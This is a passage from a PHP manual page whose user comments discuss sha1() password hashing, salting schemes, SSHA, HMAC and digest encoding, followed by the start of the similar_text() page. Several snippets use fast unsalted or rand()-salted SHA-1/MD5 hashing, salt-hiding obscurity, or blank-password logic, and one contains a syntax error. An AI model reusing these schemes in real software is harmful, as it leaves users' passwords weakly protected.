1. Why use extra row to store salt when you can input it in hash. I'm not sure how attackers determine what type of hash are they facing, but I guess it has connection to hash length. In that case, why make attackers job easier and store in database data_hash+salt where they could assume just by it's length it has salt in there.
Reason behind $keepLength. If it's set to 1, strlen of hashed data plus salt would be equal to strlen of hashed data leading attacker to believe there is no salt.
If you leave $keepLength on NULL, strlen of final result would be strlen(used_hash_algorithm)+$hSLength.
$minhPass is there to reserve enough place for string that has to be hashed, so someone using this function wouldn't accidentally delete it by setting too high salt length ($hSLength), for example... if you set it 30000 it will keep working normal.

2. If you think about it, constant, but variable value when making input would be same data that is being input.
In case we're trying to hash password, and have user A with password "notme", password strlen equals to 5, and if we use default parameters of the function, with $keepLength set to 1, process would be:
random salt, hash it, add first 5 characters of hashed_salt at beginning of plain password, add last 5 characters of hashed_salt at end of plain password, hash it. Replace first 5 characters of hashed_password with first 5 character of hashed_salt, do same with last 5 characters of hashed_password, return hashed_password.
In case that string is longer than 10 characters function would use simple mathematics to reduce it to numbers lower than 10, well... lower than number that is stated in $hSLength.
And good thing is that every time user enters correct password it has same length so it's not necessary to write it anywhere.

So what is achieved in the end?
1. Attacker might not know that hash is salted, and you don't have that extra row in your database stating THIS IS SALT FOR THIS HASH.
2. If he does find out that it is, he wouldn't know what is hashed password and what is salt.
3. If he manages to get access to obscure function, only thing that might help him is value of $hSLength, where if $hSLength is set to 10 he would have to crack 10 variations of hashed string since he doesn't know how long password of user he's trying to crack is.
For example first variation would be hashed_password without last 10 characters, second variation would be hashed_password without first character and last 9 characters...
4. Even in case he has enough power to crack all 10 variations, resulting string that he might get doesn't necessarily has to be exactly long as password of original user in which case, attacker fails again.
Andre D 08-Oct-2008 06:28
Here's a better version of the getDigestNotation() function I posted earlier. (The first version had a bug in the argument checking.)

<?php
function getDigestNotation($rawDigest, $bitsPerCharacter, $chars = NULL)
{
    if ($chars === NULL || strlen($chars) < 2) {
        $chars = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ-,';
    }

    if ($bitsPerCharacter < 1) {
        // $bitsPerCharacter must be at least 1
        $bitsPerCharacter = 1;

    } elseif (strlen($chars) < pow(2, $bitsPerCharacter)) {
        // Character length of $chars is too small for $bitsPerCharacter
        // Set $bitsPerCharacter to greatest value allowed by length of $chars
        $bitsPerCharacter = 1;
        $minCharLength = 2;

        while (strlen($chars) >= ($minCharLength *= 2)) {
            $bitsPerCharacter++;
        }

        unset($minCharLength);
    }

    $bytes = unpack('C*', $rawDigest);
    $byteCount = count($bytes);

    $out = '';
    $byte = array_shift($bytes);
    $bitsRead = 0;

    for ($i = 0; $i < $byteCount * 8 / $bitsPerCharacter; $i++) {

        if ($bitsRead + $bitsPerCharacter > 8) {
            // Not enough bits remain in this byte for the current character
            // Get remaining bits and get next byte
            $oldBits = $byte - ($byte >> 8 - $bitsRead << 8 - $bitsRead);

            if (count($bytes) == 0) {
                // Last bits; match final character and exit loop
                $out .= $chars[$oldBits];
                break;
            }

            $oldBitCount = 8 - $bitsRead;
            $byte = array_shift($bytes);
            $bitsRead = 0;

        } else {
            $oldBitCount = 0;
        }

        // Read only the needed bits from this byte
        $bits = $byte >> 8 - ($bitsRead + ($bitsPerCharacter - $oldBitCount));
        $bits = $bits - ($bits >> $bitsPerCharacter - $oldBitCount << $bitsPerCharacter - $oldBitCount);
        $bitsRead += $bitsPerCharacter - $oldBitCount;

        if ($oldBitCount > 0) {
            // Bits come from seperate bytes, add $oldBits to $bits
            $bits = ($oldBits << $bitsPerCharacter - $oldBitCount) | $bits;
        }

        $out .= $chars[$bits];
    }

    return $out;
}
?>
Andr D 06-Oct-2008 12:01
Sometimes you want the digest in both readable notation (such as hexadecimal) and raw binary. At other times you want the digest in a notation other than hexadecimal.

The following getDigestNotation() function takes a binary string and returns it in base 2, 4, 8, 16, 32, or 64 notation. It works with sha1(), md5(), hash(), or anything else that can output a raw binary string.

It works similar to the session.hash_bits_per_character php.ini configuration option.

You can specify which characters to use for each position, or use the default, which matches session.hash_bits_per_character (0-9, a-z, A-Z, "-", ","). The practical range of bits to use per character ($bitsPerCharacter) is 1 to 6; you may use more, but you will have to provide your own base character string ($chars) that is at least pow(2, $bitsPerCharacter) characters long. So even with 7 bits per character you need to specify a value for $chars that is 128 characters long, which exceeds the number of printable ASCII characters.

The output's radix relates to the value of $bitsPerCharacter as follows:
1: base-2 (binary)
2: base-4
3: base-8 (octal)
4: base-16 (hexadecimal)
5: base-32
6: base-64

<?php
$raw = sha1(uniqid(mt_rand(), TRUE), TRUE);

echo getDigestNotation($raw, 6);

function getDigestNotation($rawDigest, $bitsPerCharacter, $chars = NULL)
{
    if ($chars === NULL || strlen($chars) < 2) {
        $chars '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ-,';
    }

    if ($bitsPerCharacter < 1) {
        // $bitsPerCharacter must be at least 1
        $bitsPerCharacter = 1;

    } elseif (strlen($chars) < pow(2, $bitsPerCharacter)) {
        // Character length of $chars is too small for $bitsPerCharacter
        // Set $bitsPerCharacter to greatest value allowed by length of $chars
        $bitsPerCharacter = 1;

        do {
            $bitsPerCharacter++;
        } while (strlen($chars) > pow(2, $bitsPerCharacter));
    }

    $bytes = unpack('C*', $rawDigest);
    $byteCount = count($bytes);

    $out = '';
    $byte = array_shift($bytes);
    $bitsRead = 0;

    for ($i = 0; $i < $byteCount * 8 / $bitsPerCharacter; $i++) {

        if ($bitsRead + $bitsPerCharacter > 8) {
            // Not enough bits remain in this byte for the current character
            // Get remaining bits and get next byte
            $oldBits = $byte - ($byte >> 8 - $bitsRead << 8 - $bitsRead);

            if (count($bytes) == 0) {
                // Last bits; match final character and exit loop
                $out .= $chars[$oldBits];
                break;
            }

            $oldBitCount = 8 - $bitsRead;
            $byte = array_shift($bytes);
            $bitsRead = 0;

        } else {
            $oldBitCount = 0;
        }

        // Read only the needed bits from this byte
        $bits = $byte >> 8 - ($bitsRead + ($bitsPerCharacter - $oldBitCount));
        $bits = $bits - ($bits >> $bitsPerCharacter - $oldBitCount << $bitsPerCharacter - $oldBitCount);
        $bitsRead += $bitsPerCharacter - $oldBitCount;

        if ($oldBitCount > 0) {
            // Bits come from seperate bytes, add $oldBits to $bits
            $bits = ($oldBits << $bitsPerCharacter - $oldBitCount) | $bits;
        }

        $out .= $chars[$bits];
    }

    return $out;
}
?>

Lastly, depending on the digest length, there may be fewer bits remaining for the last character than $bitsPerCharacter, so the last character will be smaller. The same thing happens with PHP's session ID generator, when 5 or 6 is used for session.hash_bits_per_character.
ranko84 at gmail dot com 08-May-2008 07:12
Thanks for the feedback. This should do the trick, I hope.
I think that I haven't understood this sentence completely "In this case you will need the salt to reside in the database along with the username and password." As in, were you refering to previous method, this method or this function.
Salt already resides in database along with username, password, or any string you decide to hash. This function just scrambles it depending on length of string (password) user enters so that attacker has trouble finding out what is salt and what is hash, if attacker even suspects that there is salt (reasons behind $keepLength, or defining $hSLength where you could set it to 24 leading attacker to believe he's facing sha256, not sha1).

<?php
function obscure ($hString, $hDecode = NULL, $hSLength = 10, $keepLength = NULL, $minhPass = 10, $hMethod = sha1)
{
    if ($hDecode == NULL)
    {
        for ($i = 0; $i<16; $i++)
        {

            $hSalt = rand(33, 255);
            $hRandomSalt .= chr($hSalt);
        }
        $hRandomSalt = hash($hMethod, $hRandomSalt);
    }
    else
    {
        $hRandomSalt = $hDecode;
    }

    if ($keepLength != NULL)
    {

        if ($hSLength > (strlen($hRandomSalt) - $minhPass))
        {
            $hSLength = (strlen($hRandomSalt) - $minhPass);
        }
    }
    else if ($hSLength < 0)
    {
        $hSLength = 0;
    }

    $hLPosition = strlen($hString);

    while ($hLPosition > $hSLength)
    {
        $hNumber = substr($hLPosition, -1);

        $hLPosition = $hLPosition * ($hNumber/10);
    }

    $hLPosition = (integer)$hLPosition;
    $hRPosition = $hSLength - $hLPosition;

    $hFSalt = substr($hRandomSalt, 0, $hLPosition);
    $hLSalt = substr($hRandomSalt, -$hRPosition, $hRPosition);

    $hPassHash = hash($hMethod, ($hLSalt . $hString . $hFSalt));

    if ($keepLength != NULL)
    {
        if ($hSLength != 0)
        {
            $hPassHash = substr($hPassHash, $hLPosition, -$hRPosition);
        }
    }

    return $hFSalt . $hPassHash . $hLSalt;
}
?>
Murali 08-May-2008 12:18
I think ranko's method is tougher to crack if there is a directory attack. However there is one small change I would suggest. Instead of having the hsalt as a limited array, it is better to generate a random string and use that as the salt. In this case you will need the salt to reside in the database along with the username and password.

Thanks Ranko...
ranko84 at gmail dot com 07-May-2008 04:17
If your still using sha1, here is a function that will hopefully help a little.

Sorry for any grammatical mistakes and for naming convention, I'm not very original and in most cases get myself confused after some time with them too :(

Benefits: even if attacker manages to generate string that will result in same hash, if that string doesn't have same amount of characters as original, it won't validate.

<?php
function obscure ($hString, $hDecode = NULL, $hSLength = 10, $keepLength = NULL, $minhPass = 10, $hMethod = sha1)
{
    if ($hDecode == NULL)
    {
        $hSalt = array("\\", "!", "0", "\"", "1", "#", "2", "$", "3", "%", "4", "&", "5", "/", "6", "(", "7", ")", "8", "=", "9", "?", "*");

        for ($i = 0; $i<16; $i++)
        {
            $hRandomIndex = array_rand($hSalt);
            $hRandomSalt .= $hSalt[$hRandomIndex];
        }
        $hRandomSalt = hash($hMethod, $hRandomSalt);
    }
    else
    {
        $hRandomSalt = $hDecode;
    }

    if ($keepLength != NULL)
    {

        if ($hSLength > (strlen($hRandomSalt) - $minhPass))
        {
            $hSLength = (strlen($hRandomSalt) - $minhPass);
        }
    }
    else if ($hSLength < 0)
    {
        $hSLength = 0;
    }

    $hLPosition = strlen($hString);

    while ($hLPosition > $hSLength)
    {
        $hNumber = substr($hLPosition, -1);

        $hLPosition = $hLPosition * ($hNumber/10);
    }

    $hLPosition = (integer)$hLPosition;
    $hRPosition = $hSLength - $hLPosition;

    $hFSalt = substr($hRandomSalt, 0, $hLPosition);
    $hLSalt = substr($hRandomSalt, -$hRPosition, $hRPosition);

    $hPassHash = hash($hMethod, ($hLSalt . $hString . $hFSalt));

    if ($keepLength != NULL)
    {
        if ($hSLength != 0)
        {
            $hPassHash = substr($hPassHash, $hLPosition, -$hRPosition);
        }
    }

    return $hFSalt . $hPassHash . $hLSalt;
}
?>

How to use?
$hString is string you want to hash, probably password.
$hDecode is already hashed string (password). When you use function obscure() to generate hash, you will probably enter it in database. When user wants to log in, you pass plain password with $hString, and hashed password from database in $hDecode.
$hSLength is length of salt. It's caped by method you use to hash, so in case you use sha1, you can pass value 100, but it will still use 40 characters.
$keepLength can be used to cap final output at max characters that hash function gives. In case sha1, hash would give output of 40 characters. If you set $keepLength to '1' final outputted hash would have 40 characters by cutting pieces of hashed password. Why would you want to do it? So that attacker doesn't know it's salted :)
$minhPass - it is usually defined only if you decide to set $keepLength so that you can define minimum amount of characters of hashed password you want to keep. Default is 10. It's used because you can accidentally set, in combination with $keepLength, $hSLength too high which would cause that all characters of hashed password are cut out and leave only salt which would always validate true without regard what password user enters.
$hMethod defines which method you want to use to hash plain text since this function is build using hash(). If you want to use sha512, function will adapt to it.

Quick example:
Hashing a password - obscure ($plain_password);
Validating password - obscure ($plain_password, $hashedPassword);

I tried to be as brief as possible, best way to see how it's used... test it, otherwise mail me if you have questions.
nathan 25-Feb-2008 08:11
The suggestion below to double-hash your password is not a good idea.  You are much much better off adding a variable salt to passwords before hashing (such as the username or other field that is dissimilar for every account).

Double hashing is *worse* security than a regular hash.  What you're actually doing is taking some input $passwd, converting it to a string of exactly 32 characters containing only the characters [0-9][A-F], and then hashing *that*. You have just *greatly* increased the odds of a hash collision (ie. the odds that I can guess a phrase that will hash to the same value as your password).

sha1(md5($pass)) makes even less sense, since you're feeding in 128-bits of information to generate a 256-bit hash, so 50% of the resulting data is redundant.  You have not increased security at all.
brian at realm3 dot com 15-Feb-2008 06:47
Those wishing to generate an HMAC-SHA1 type key can now use hash_hmac()

http://us2.php.net/manual/en/function.hash-hmac.php
ERASEthemasterswordsman at gmail dot com 10-Feb-2008 06:09
Please note that hashing a has is not completely secure, but can be used as an extra precaution (but not recommended):

<?php

sha1(md5($string));

?>
NoName 13-Sep-2007 03:26
Regarding the twistSTR - the problem is that currently it is relatively easy to generate a collision for any alphanumeric plaintext of a given, short length via e.g. a rainbow table. You're bettter off using a sufficiently lengthy and random salt.
novum123 at ribbonbazaar dot com 29-Nov-2006 08:54
So far as the dictionary attacks are concerned, I thought up the following function:

<?php
function twistSTR($array){
  $twisted="";
  $array_strlen=array();

  foreach ($array as $element){
    $array_strlen[]=strlen($element);
  }

  for ($i=0; $i<max($array_strlen); $i++){
    foreach ($array as $element){
      if ($i<strlen($element)){
        $twisted=$twisted.$element{$i};
      }
    }
  }

  return $twisted;
}
?>

The twistSTR function basically takes an array input of strings and alternates each character of each string among all the other strings.  For example:

<?php
echo twistSTR(array("this","and","that"));//output: tathnhidast
?>

It can be applied in the following manner:

<?php
if ($un===$_POST["username"] && $pwd===sha1(twistSTR(array($salt,$_POST["password"])))){
?>

It's not amazingly difficult to reverse engineer the actual output, but then again, that's not the point.  The point is that when a password is entered into one of those databases, they are going to enter for example "thisandthat", not "tathnhidast".
Dan Casey 16-Nov-2006 08:54
For all the php4 users who thought you were limited to sha1.

<?php

$phrase = "Hello World";

$sha1a =  base64_encode(sha1($phrase));
$sha1b =  base64_encode(bin2hex(mhash(MHASH_SHA1,$phrase)));
$sha256b= base64_encode(bin2hex(mhash(MHASH_SHA256,$phrase)));

echo ("SHA1..:" . $sha1a . "\n");
echo ("SHA1..:" . $sha1b . "\n");
echo ("SHA256:" . $sha256b . "\n");
?>
# php sha.php
SHA1..:MGE0ZDU1YThkNzc4ZTUwMjJmYWI3MDE5NzdjNWQ4NDBiYmM0ODZkMA==
SHA1..:MGE0ZDU1YThkNzc4ZTUwMjJmYWI3MDE5NzdjNWQ4NDBiYmM0ODZkMA==
SHA256:YTU5MWE2ZDQwYmY0MjA0MDRhMDExNzMzY2ZiN2IxOTBkNjJjNjV...........
Gregory Boshoff 18-Oct-2006 04:23
Note that the sha1 algorithm has been compromised and is no longer being used by government agencies.

As of PHP 5.1.2 a new set of hashing functions are available.

http://www.php.net/manual/en/function.hash.php

The new function hash() supports a new range of hashing methods.

echo hash('sha256', 'The quick brown fox jumped over the lazy dog.');

It is recommended that developers start to future proof their applications by using the stronger sha-2, hashing methods such as sha256, sha384, sha512 or better.

As of PHP 5.1.2 hash_algos() returns an array of system specific or registered hashing algorithms methods that are available to PHP.

print_r(hash_algos());
erling dot westenvik at gmail dot com 17-May-2006 06:15
Regarding php at REMOVEMEkennel17 dot co dot uk's note below:

The phrase: "To get the correct behaviour", would perhaps be better off if it read: "To get the wanted (but not recommended) behaviour".

Always honor the expected data types for functions: sha1 expects a string as input, and returns a string on exit. NULL, TRUE and FALSE are not string data types. The string "" is a string as good as "any". By following the "logic" that sha1("") should return "", then what should sha1("a") return? "b"? "c"?

An authentication system that allows for blank passwords is not really an authentication system in the first place. What you are describing is merely a way to tell the application that you want to see data in some specific context, like sorted by user name, etc. Create other tools for this purpose and leave the authentication system to deal with what it is supposed to do: Granting users access to restricted data and blocking other users from seeing the same data.

Don't store passwords in clear text, but salt and encrypt them. That way it makes perfect sense having <?php $sStoredPwd === sha1($sStoredSalt . $_POST["sTypedPwd"]); ?>, even with a blank "password". No other person than the user itself, not even the programmer, should know the password or be able to guess it. If the user forgets the password, a new one must be generated.

Regards,
Erling
spam at barad-dur dot nl 23-Oct-2005 04:59
For servers that don't have the mhash or crypto++-php extensions I wrote an implementation of the SHA256 algorithm as found in the FIPS 180-2 standard.
Source code can be found at http://dev.barad-dur.nl/sha256/
php at REMOVEMEkennel17 dot co dot uk 19-Sep-2005 06:52
It should be noted that sha1("") does not return an empty string.  This means that if you are running a system that does not require users to have a password, the following code will not work as expected:

<?php
if ($StoredPassword == sha1($NewPassword))
    // Password good
?>

If $StoredPassword and $NewPassword are both blank, then the password should be treated as good, but because sha1("") != "" it will be treated as bad. To get the correct behaviour you need to use:

<?php
if (($StoredPassword == "" && $NewPassword == "") || ($StoredPassword == sha1($NewPassword)))
    // Password good
?>

(Note: I use a custom IsBlank() function instead of comparison against the empty string, so NULL values are also matched.)

For reference, here are a couple of special values put through sha1().  Note that sha1("") == sha1(NULL) == sha1(false), and also that sha1(0) != sha1(false)

"" -> da39a3ee5e6b4b0d3255bfef95601890afd80709
NULL -> da39a3ee5e6b4b0d3255bfef95601890afd80709
0 -> b6589fc6ab0dc82cf12099d1c2d40ab994e8410c
1 -> 356a192b7913b04c54574d18c28d46e6395428ab
false -> da39a3ee5e6b4b0d3255bfef95601890afd80709
true -> 356a192b7913b04c54574d18c28d46e6395428ab
Dan 05-Sep-2005 10:12
I've noticed websites are now starting to require passwords of a certain length that MUST contain at least 1 non-alphanumeric character. This in itself makes dictionary attacks kind of useless. My web site requires that as well. It uses md5, and appends a site code into the md5 as well. And the include file that contains that site key is outside the public folders. I sure hope I've done enough to keep the bad boys out.
arachnid at notdot dot net 31-Aug-2005 01:12
WTM's post below is misinformed. The purpose of adding the random data (known as a 'salt', as multiple posters have pointed out further below) is to prevent dictionary based attacks, allowing the attacker use a pre-prepared database of passwords and hashes against all your stored passwords, instead of having to recalculate for each user.

Adding the salt in a more 'complicated' way is a poor security tactic - if the attacker discovers your method, the security advantage is lost, and you have no way of changing it without rehashing all your passwords.
WTM 03-Aug-2005 07:30
Actually, the post by Helpful Harry won't improve your security except for the most simple break in attempts.  Since the random seed is attached to the end of the password hash, if you steal the hashed password, you steal the seed.

That means you can write a simple php program to call the pw_check function Harry included from a loop, feeding it dictionary words or random characters.

Of course, if you modified the program to use the seed in a more complicated way, "they" would have to know the new function's operation.  But then again, if someone can steal your password database, they can probably steal your website code (or guess it).
Helpful Harry 06-Jul-2005 10:21
check out these randomized sha1 password storage functions, they output a string of 50 characters, the first 40 characters being a sha1 output based on the last 10 characters - those being a random seed

to encode a password run pw_encode with the password, it'll return a different pseudo-random string every time - store this value.

to check a password run pw_check with the password attempt and the stored value, it'll return true on a match and false otherwise

these functions eliminate the pesky problem of dictionary matches being run on your password lists

<?php

function pw_encode($password)
{
   for ($i = 1; $i <= 10; $i++)
       $seed .= substr('0123456789abcdef', rand(0,15), 1);
   return sha1($seed.$password.$seed).$seed;
}

function pw_check($password, $stored_value)
{
   if (strlen($stored_value) != 50)
      return FALSE;
   $stored_seed = substr($stored_value,40,10);
   if (sha1($stored_seed.$password.$stored_seed).$stored_seed == $stored_value)
     return TRUE;
   else
     return FALSE;
}

?>
alex at milivojevic dot org 28-Apr-2005 02:12
Regarding my previous comment, if you want to be on the safe side and use only ASCII printable seeds (shouldn't matter for SSHA seeds), something like this could be used:

<?php
$salt = substr(base64_encode(pack("H*", sha1(mt_rand()))), 0, 4);
?>
alex at milivojevic dot org 28-Apr-2005 10:45
If you don't have mhash library and/or PHP module (for example, Red Hat systems, which includes Fedora), and you don't feel like adding it, you can use something like this to generate and verify SSHA hashes.

<?php

$password = "test";

// Generate SSHA hash
mt_srand((double)microtime()*1000000);
$salt = pack("CCCC", mt_rand(), mt_rand(), mt_rand(), mt_rand());
$hash = "{SSHA}" . base64_encode(pack("H*", sha1($password . $salt)) . $salt);
echo $hash . "\n";

// Verify SSHA hash
$ohash = base64_decode(substr($hash, 6));
$osalt = substr($ohash, 20);
$ohash = substr($ohash, 0, 20);
$nhash = pack("H*", sha1($password . $osalt));
if ($ohash == $nhash) {
   echo "Password OK\n";
 } else {
   echo "Password verifiaction failed\n";
 }

?>
svn at datapirate dot de 20-Feb-2005 05:26
Wanna use SHA-2 algorithm? Try this:

Download Tar-Ball from http://www.adg.us/computers/sha.html
Compile (may occur some warnings) and test it:

cc -O2 -DSHA2_UNROLL_TRANSFORM -Wall -o sha2 sha2prog.c sha2.c
./sha2test.pl

Copy it to /usr/local/bin/ (don't forget to check permissions)

Here are two functions that could be used with:

function sha2($bits, $string){
    $sha2bin="/usr/local/bin/sha2";
    $echocmd="echo";
    if(!in_array($bits, array(256, 384, 512)))return(false);
    $r=exec($echocmd." ".escapeshellarg($string)."|".$sha2bin." -q -".$bits, $sha2);
    return($sha2[0]);
}

function sha2_file($bits, $filename){
    $sha2bin="/usr/local/bin/sha2";
    if(!in_array($bits, array(256, 384, 512)))return(false);
    if(!file_exists($filename)||!is_readable($filename))return(false);
    $r=exec($sha2bin." -q -".$bits." ".escapeshellarg($filename), $sha2);
    return($sha2[0]);
}

and use it like below:

<?php
$str = 'apple';
if (sha2(256, $str) === '303980bcb9e9e6cdec515230791af8b0ab1aaa244b58a8d99152673aa22197d0') {
   echo "Would you like a green or red apple?";
   exit;
}
?>
hans at pennywaffer dot net 19-Dec-2004 08:18
You can also use sha1() to create a fixed sized ID based on the folderpath containing the performing script. Imagine an environment where multiple instances of a script are running simultaneously, making use of session variables (a good example would be thumbnaildirectories that each contain an instance of a thumbnailmanager). To prevent your $_SESSION array from getting influenced by other scripts that are on the same server and run from the same browserwindow (and thus having the same session ID), use the following approach:

session_start();
$myDir = sha1(dirname(__FILE__));
$_SESSION[$myDir]['var'] = etc;

instead of just using $_SESSION['var'] = etc;

This way your userauthentication and shoppingcart data won't get mixed up. The use of sha1() also prevents strange symbols or spaces in the folderpath messing up the ID, and makes sure the ID has a constant size  regardless the length of the path.
sinatosk at gmail dot com 22-Nov-2004 12:43
Heres an SHA1 function that will work on it's own completely. This is for users who are using below PHP 4.3.0. it works same as PHP5 ( being able to return raw output ).

<?php

/*
** Date modified: 1st October 2004 20:09 GMT
*
** PHP implementation of the Secure Hash Algorithm ( SHA-1 )
*
** This code is available under the GNU Lesser General Public License:
** http://www.gnu.org/licenses/lgpl.txt
*
** Based on the PHP implementation by Marcus Campbell
** http://www.tecknik.net/sha-1/
*
** This is a slightly modified version by me Jerome Clarke ( sinatosk@gmail.com )
** because I feel more comfortable with this
*/

function sha1_str2blks_SHA1($str)
{
    $strlen_str = strlen($str);

    $nblk = (($strlen_str + 8) >> 6) + 1;

    for ($i=0; $i < $nblk * 16; $i++) $blks[$i] = 0;

    for ($i=0; $i < $strlen_str; $i++)
    {
        $blks[$i >> 2] |= ord(substr($str, $i, 1)) << (24 - ($i % 4) * 8);
    }

    $blks[$i >> 2] |= 0x80 << (24 - ($i % 4) * 8);
    $blks[$nblk * 16 - 1] = $strlen_str * 8;

    return $blks;
}

function sha1_safe_add($x, $y)
{
    $lsw = ($x & 0xFFFF) + ($y & 0xFFFF);
    $msw = ($x >> 16) + ($y >> 16) + ($lsw >> 16);

    return ($msw << 16) | ($lsw & 0xFFFF);
}

function sha1_rol($num, $cnt)
{
    return ($num << $cnt) | sha1_zeroFill($num, 32 - $cnt);
}

function sha1_zeroFill($a, $b)
{
    $bin = decbin($a);

    $strlen_bin = strlen($bin);

    $bin = $strlen_bin < $b ? 0 : substr($bin, 0, $strlen_bin - $b);

    for ($i=0; $i < $b; $i++) $bin = '0'.$bin;

    return bindec($bin);
}

function sha1_ft($t, $b, $c, $d)
{
    if ($t < 20) return ($b & $c) | ((~$b) & $d);
    if ($t < 40) return $b ^ $c ^ $d;
    if ($t < 60) return ($b & $c) | ($b & $d) | ($c & $d);

    return $b ^ $c ^ $d;
}

function sha1_kt($t)
{
    if ($t < 20) return 1518500249;
    if ($t < 40) return 1859775393;
    if ($t < 60) return -1894007588;

    return -899497514;
}

function sha1($str, $raw_output=FALSE)
{
    if ( $raw_output === TRUE ) return pack('H*', sha1($str, FALSE));

    $x = sha1_str2blks_SHA1($str);
    $a =  1732584193;
    $b = -271733879;
    $c = -1732584194;
    $d =  271733878;
    $e = -1009589776;

    $x_count = count($x);

    for ($i = 0; $i < $x_count; $i += 16)
    {
        $olda = $a;
        $oldb = $b;
        $oldc = $c;
        $oldd = $d;
        $olde = $e;

        for ($j = 0; $j < 80; $j++)
        {
            $w[$j] = ($j < 16) ? $x[$i + $j] : sha1_rol($w[$j - 3] ^ $w[$j - 8] ^ $w[$j - 14] ^ $w[$j - 16], 1);

            $t = sha1_safe_add(sha1_safe_add(sha1_rol($a, 5), sha1_ft($j, $b, $c, $d)), sha1_safe_add(sha1_safe_add($e, $w[$j]), sha1_kt($j)));
            $e = $d;
            $d = $c;
            $c = sha1_rol($b, 30);
            $b = $a;
            $a = $t;
        }

        $a = sha1_safe_add($a, $olda);
        $b = sha1_safe_add($b, $oldb);
        $c = sha1_safe_add($c, $oldc);
        $d = sha1_safe_add($d, $oldd);
        $e = sha1_safe_add($e, $olde);
    }

    return sprintf('%08x%08x%08x%08x%08x', $a, $b, $c, $d, $e);
}

?>
rsemirag at yahoo dot com 02-Nov-2004 10:34
If you're struggling to generate an SHA encoded password for LDAP (PHP < 5.0), what you end up needing is this:

$userpassword = base64_encode(pack("H*", sha1($pass)));

I found this in the OpenLDAP FAQ (many thanks to Google and Ace), though I'm using the iPlanet LDAP server.

Ray Semiraglio
brian_bisaillon at rogers dot com 25-Feb-2004 08:19
Source code to create SSHA passwords...

public function HashPassword($password)
{
  mt_srand((double)microtime()*1000000);
  $salt = mhash_keygen_s2k(MHASH_SHA1, $password, substr(pack('h*', md5(mt_rand())), 0, 8), 4);
  $hash = "{SSHA}".base64_encode(mhash(MHASH_SHA1, $password.$salt).$salt);
  return $hash;
}

Source code to validate SSHA passwords...

public function ValidatePassword($password, $hash)
{
  $hash = base64_decode(substr($hash, 6));
  $original_hash = substr($hash, 0, 20);
  $salt = substr($hash, 20);
  $new_hash = mhash(MHASH_SHA1, $password . $salt);
   if (strcmp($original_hash, $new_hash) == 0)
     ... do something because your password is valid ...
  else
    echo 'Unauthorized: Authorization has been refused for the credentials you provided. Please login with a valid username and password.';
    ... be sure to clear your session data ...
}

Note: The format is compatible with OpenLDAP's SSHA scheme if I'm not mistaken.
mark at dot BANSPAM dot pronexus dot nl 30-Jan-2004 06:28
Looking for a simple function to implement HMAC-SHA1 but don't want to use the entire PEAR Message lib?

//Calculate HMAC-SHA1 according to RFC2104
// http://www.ietf.org/rfc/rfc2104.txt
function hmacsha1($key,$data) {
    $blocksize=64;
    $hashfunc='sha1';
    if (strlen($key)>$blocksize)
        $key=pack('H*', $hashfunc($key));
    $key=str_pad($key,$blocksize,chr(0x00));
    $ipad=str_repeat(chr(0x36),$blocksize);
    $opad=str_repeat(chr(0x5c),$blocksize);
    $hmac = pack(
                'H*',$hashfunc(
                    ($key^$opad).pack(
                        'H*',$hashfunc(
                            ($key^$ipad).$data
                        )
                    )
                )
            );
    return bin2hex($hmac);
}

It is very useful for client-authentication. see also http://cookies.lcs.mit.edu/pubs/webauth:tr.pdf
Optionally you can change $hashfunc to 'md5' to make this an HMAC-MD5 function ;-)
If you want raw or base64 output instead of hexadecimal, just change the last return line.

Cheers,
Mark

p.s. the "$hmac =" line used to be 1 line but I had to cut it up in order to fit it here ;)
labarks 15-Nov-2003 03:06
Append this to the your sha1lib file to make it more portable.  If your version of php does support sha1() then it will try to use Mhash or else it will use the sha1lib.  Use $sha1 if you want to display which is being used.

if ( function_exists('sha1') )
    $sha1 = "sha1";

if ( !function_exists('sha1') && function_exists('mhash'))
{
    function sha1($hash_source)
    {
           $hash = mhash(MHASH_SHA1, $hash_source);
          $hex_hash = bin2hex($hash);
           return $hex_hash;
    }
    $sha1 = "Mhash";
}
if ( !function_exists('sha1') && !function_exists('mhash'))
{
    function sha1( $string, $raw_output = false )
    {
        $library = new Sha1Lib();

        return $raw_output ? $library->str_sha1($string) : $library->hex_sha1($string);
    }
    $sha1 = "sha1lib";
}
andreas at schmeiler dot de 16-Oct-2003 11:50
To use the sha1 function in php versions <4.3 do the following:

install the mhash library (see http://mhash.sourceforge.net)

then, sha1 can be implemented as follows:

function sha1($hash_source) {
   $hash = mhash(MHASH_SHA1, $hash_source);
   $hex_hash = bin2hex($hash);
   return $hex_hash;
}
bobm at hp dot com 23-Apr-2003 09:12
To achieve raw binary format prior to PHP5, you can do this...

$raw = pack("H*", sha1($str));

Regards,

Bob Mader
sha1_file
similar_text
String Functions


Calculate the similarity between two strings

sha1
soundex
String Functions
PHP Manual

similar_text

(PHP 4, PHP 5)

similar_text — Calculate the similarity between two strings

Description

int similar_text ( string $first , string $second [, float &$percent ] )

This calculates the similarity between two strings as described in Oliver [1993]. Note that this implementation does not use a stack as in Oliver's pseudo code, but recursive calls which may or may not speed up the whole process. Note also that the complexity of this algorithm is O(N**3) where N is the length of the longest string.

Parameters

first

The first string.

second

The second string.

percent

By passing a reference as third argument, similar_text() will calculate the similarity in percent for you.

Return Values

Returns the number of matching chars in both strings.

See Also

  • levenshtein() - Calculate Levenshtein distance between two strings
  • soundex() - Calculate the soundex key of a string

User Contributed Notes

daniel dot karbach at localhorst dot tv 17-Dec-2010 06:48
Please note that this function calculates a similarity of 0 (zero) for two empty strings.

<?php
similar_text("", "", $sim);
echo $sim; // "0"
?>
romain dot boyer at gmail dot com 08-Aug-2007 05:59
Like levenchtein(), You can do :

(strlen($string2) - similar_text($string,$string2))

to see how much characters have been changed.
Paul 18-Jan-2007 08:50
The speed issues for similar_text seem to be only an issue for long sections of text (>20000 chars).

I found a huge performance improvement in my application by just testing if the string to be tested was less than 20000 chars before calling similar_text.

20000+ took 3-5 secs to process, anything else (10000 and below) took a fraction of a second.
Fortunately for me, there was only a handful of instances with >20000 chars which I couldn't get a comparison % for.
dmitry dot polushkin at gmail dot com 07-Mar-2006 08:08
Well... hard to explain, why I have written this function, but maybe it will be usefull.
<?php
// returns the percentage of the string "similarity"
function str_compare($str1, $str2) {
    $count = 0;

    $str1 = ereg_replace("[^a-z]", ' ', strtolower($str1));
    while(strstr($str1, '  ')) {
        $str1 = str_replace('  ', ' ', $str1);
    }
    $str1 = explode(' ', $str1);

